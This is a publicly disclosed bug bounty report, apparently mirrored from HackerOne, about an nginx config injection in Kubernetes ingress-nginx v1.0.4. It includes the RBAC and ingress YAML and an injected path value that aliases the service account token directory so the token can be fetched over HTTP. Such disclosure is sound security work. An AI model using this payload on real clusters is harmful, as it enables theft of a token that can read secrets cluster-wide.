HexBrain

Kubernetes · Report #1382919

Ingress-nginx path allows retrieval of ingress-nginx serviceaccount token

Validstatus
highseverity
$2,500bounty
17upvotes
6 Aug 2022disclosed

How it was found

Report Submission Form

Summary:

A user with the permissions to create an ingress resource can obtain the ingress-nginx service account token which can list secrets is all namespaces (cluster wide).

Kubernetes Version:

1.20 (should work on (1.21 as well)

Component Version:

nginx ingress controller v1.0.4

Steps To Reproduce:

I deployed the latest ingress-controller (v1.0.4). I used a user (gaf_test) that has the permissions to get, create and update ingress resources (the “get” permissions is only to allow kubectl to view the newly created resource).

ingress-creator-role.yaml

apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
  name: ingress-creator
  namespace: default
rules:
- apiGroups: ["networking.k8s.io"]
  resources: ["ingresses"]
  verbs: ["get", "create", "update"]

ingress-creator-role-binding.yaml

apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
  name: gaf_test-ingress-creator-binding
  namespace: default
subjects:
- kind: User
  name: gaf_test
  apiGroup: rbac.authorization.k8s.io
roleRef:
  kind: Role
  name: ingress-creator
  apiGroup: rbac.authorization.k8s.io

This user (gaf_user) cannot list secrets at all. {F1495367}

Use this user (gaf_user) to create a new ingress resource in the default namespace.

ingress.yaml

apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: gaf-ingress
  annotations:
    kubernetes.io/ingress.class: "nginx"
spec:
  rules:
  -  http:
      paths:
        - path: /gaf{alias /var/run/secrets/kubernetes.io/serviceaccount/;}location ~* ^/aaa
          pathType: Prefix
          backend:
            service:
              name: some-service
              port:
                number: 5678
kubectl apply -f ingress.yaml

{F1495369}

Access to nginx ingress loadbalancer to /gaf/token path.

https://<host>/gaf/token

{F1495370}

Decode the token to see it belongs to the ingress-nginx {F1495372}

The nginx-ingress service account is bound to the nginx-ingress cluser role that can list secrets in all namespaces.

The Root Cause

When a user creates an ingress resource, the new configuration is updated in the /etc/nginx/nginx.conf file in the ingress-nginx-controller pod located in the nginx-ingress namespace. I caused a “config file injection” using the following payload as path:

/gaf{alias /var/run/secrets/kubernetes.io/serviceaccount/;}location ~ ^/aaa* The payload above creates the following configuration for nginx:

/etc/nginx/nginx.conf

{F1495371}

This is the relevant part from the configuration which creates a new route to /gaf path and uses an alias (http://nginx.org/en/docs/http/ngx_http_core_module.html#alias) that maps to /var/run/secrets/kubernetes.io/serviceaccount/ directory on the ingress-nginx-controller pod.

Impact

A user with the permissions to create an ingress resource can obtain the ingress-nginx service account token which can list secrets is all namespaces (cluster wide).

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original